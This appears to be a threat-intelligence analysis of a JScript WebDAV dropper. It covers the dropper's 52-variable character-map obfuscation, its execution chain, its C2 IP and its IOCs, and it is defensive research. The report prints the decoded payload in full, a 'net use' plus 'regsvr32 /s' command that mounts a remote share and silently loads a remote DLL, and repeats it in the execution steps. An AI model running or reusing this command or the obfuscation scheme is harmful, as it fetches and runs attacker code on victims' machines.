25b576b7… — Unclassified JS WebDAV Dropper

1. Build / RE

Obfuscation

JScript 52-entry direct-variable character-map obfuscation: 52 unique noise variable names (8–12 lowercase chars) are each assigned a single ASCII character once, then concatenated directly inside this[EXPR1](EXPR2) to dispatch eval(payload) ^[strings.txt:1].

Key structural deviations from prior siblings:

• No dictionary object — unlike the 36/62/100-entry variants that build var obj = this[noise+noise]() and then call obj[key](...), this sample drops the object entirely and assembles eval and the payload string from raw variable concatenation.
• No reassignment — each of the 52 variables is assigned exactly once; this is not the sequential-reassignment dialect (cf. fd437971, 8a490922) ^[/intel/analyses/8a490922cf5fe7a2f4a5b84942188d8fe2d4e2aa365dc56e63249ce2bcff82e3.html].
• Function wrapper — meswk() encapsulates the eval dispatch; name is random noise.

Decoded payload

After resolving the 52 character mappings, the outer expression becomes:

this["eval"]("cmd /c cmd /c net use \\\\193.143.1.231@8888\\davwwwroot\\ && cmd /c regsvr32 /s \\\\193.143.1.231@8888\\davwwwroot\\22691225064688.dll")

Which evaluates to a WScript.Shell.Run(cmd, 0, false) call ^[strings.txt:1].

Toolchain

Pure JScript / Windows Script Host. No packer, no .NET, no native binary. Built by hand — the 11 KB source is all overhead for 52 single-character assignments and one concatenation expression.

Anti-analysis

• No sandbox gate — no WScript.Sleep, GetLocale, or file-system checks.
• No decoy process — no wordpad, notepad, or calc launched.
• No PowerShell wrapper — direct cmd /c execution via WScript.Shell.Run().
• Single-line, no terminators — complicates line-oriented diffing and version-control analysis ^[file.txt].

2. Deploy / ATT&CK

TTPs

Execution chain

1. Victim opens .js → wscript.exe executes meswk().
2. this[concat](concat) resolves to eval(payload_string).
3. Payload string resolves to WScript.Shell.Run("cmd /c ...", 0, false).
4. cmd /c net use \\193.143.1.231@8888\davwwwroot\ mounts the WebDAV share.
5. regsvr32 /s \\193.143.1.231@8888\davwwwroot\22691225064688.dll silently loads the remote DLL.

C2 / Infrastructure

This IP is already a known family endpoint — siblings fd437971 (67th), be448b37 (75th), e0e66a94 (82nd), and 8a490922 (98th) all targeted 193.143.1.231:8888 ^[/intel/analyses/8a490922cf5fe7a2f4a5b84942188d8fe2d4e2aa365dc56e63249ce2bcff82e3.html]. The new payload filename confirms active rotation, not infrastructure abandonment.

Attribution

• Family: unclassified-js-webdav-dropper — high confidence. Shared C2 IP, identical execution chain (net use + regsvr32 /s), JScript dropper format, and absence of PowerShell wrapper are all family signatures.
• Builder evolution: This sample represents a structural simplification — dropping the dictionary object entirely in favor of direct variable concatenation. Dictionary size (52) is the smallest observed in the family (previously 62 was the minimum for dictionary variants; 36-entry variants existed but used an object). This may indicate a new builder branch or a stripped-down template.

IOCs

193.143.1.231:8888
\\193.143.1.231@8888\davwwwroot\
22691225064688.dll

3. Sub-Variant Classification

• 52-entry-direct-variable-dictionary-no-object — 52 unique noise variables, single assignment each, direct this[eval](payload) dispatch, no dictionary object, no PowerShell wrapper, no decoy, no timeout gate. First observed variant to combine dictionary-sized character mapping with object-less dispatch.